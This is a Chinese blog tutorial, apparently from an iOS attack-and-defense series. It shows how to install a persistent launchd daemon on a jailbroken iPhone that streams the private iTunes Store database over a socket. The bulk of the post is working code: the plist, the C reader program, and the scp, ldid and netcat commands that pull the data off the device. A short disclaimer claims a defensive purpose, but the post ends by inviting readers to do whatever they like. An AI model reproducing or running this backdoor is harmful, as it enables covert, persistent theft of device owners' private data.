// 本文最初發布在念茜的部落格
本人鄭重宣告:並不鼓勵竊取使用者隱私等行為,一切hack學習都只是為了研究如何防禦。OK,進入正題。
開機自啟動
在iOS安全攻防(一):Hack必備的命令與工具中,介紹瞭如何編譯自己的C程式並手動啟動。今天介紹如何使程式變為開機自啟動。
1.首先開啟Xcode建立一個plist屬性檔案,如下圖所示:
其中要注意一下通訊服務名,我定為55。用編輯器開啟,即為:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Program</key> <string>/usr/bin/ncdemo</string> <key>StandardErrorPath</key> <string>/dev/null</string> <key>SessionCreate</key> <true/> <key>ProgramArguments</key> <array> <string>/usr/bin/ncdemo</string> </array> <key>inetdCompatibility</key> <dict> <key>Wait</key> <false/> </dict> <key>Sockets</key> <dict> <key>Listeners</key> <dict> <key>SockServiceName</key> <string>55</string> </dict> </dict> </dict> </plist> |
最後,將plist檔案 scp 至 root@192.168.1.114:/System/Library/LaunchDaemons/ 下 。
編寫讀取iTunesstore資料庫程式
讀取itunesstored2.sqlitedb資訊,並輸出到stdout中,便於我們讀取。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
#include <stdio.h> #include <fcntl.h> #include <stdlib.h> #define FILE "/var/mobile/Library/com.apple.itunesstored/itunesstored2.sqlitedb" int main(){ int fd = open(FILE, O_RDONLY); char buf[128]; int ret = 0; if(fd < 0) return -1; while (( ret = read(fd, buf, sizeof(buf))) > 0){ write( fileno(stdout), buf, ret); } close(fd); return 0; } |
編譯、拷貝、簽名
1.編譯方法上篇文章已經介紹清楚,這裡不再重複,直接¥%¥#%¥……%# 生成執行在ARM的 ncdemo
2.將ncdemo scp 到裝置中,並登入
1 2 |
$ scp ncdemo root@192.168.1.114:ncdemo $ ssh root@192.168.1.114 |
3.簽名
1 2 |
#ldid -S ncdemo #mv ncdemo /usr/bin |
抓取 iTunesstore 資料資訊
這時,我們只需要利用netcat,指定之前定義的服務名稱,輕鬆在本地抓取裝置 iTunesstore 資訊.
1 |
$ nc 192.168.1.114 55 > itunesstored2.sqlitedb |
分析 iTunesstore 資料資訊
好吧,這裡就介紹個最簡單的應用,利用string命令檢視:
1 |
$ strings itunesstored2.sqlitedb |
於是乎,我們就清晰的得到了iPhone /iPad 裝置上都安裝了哪些app :
當然,除了這些,你想幹什麼都可以……夜深了,先寫到這裡吧……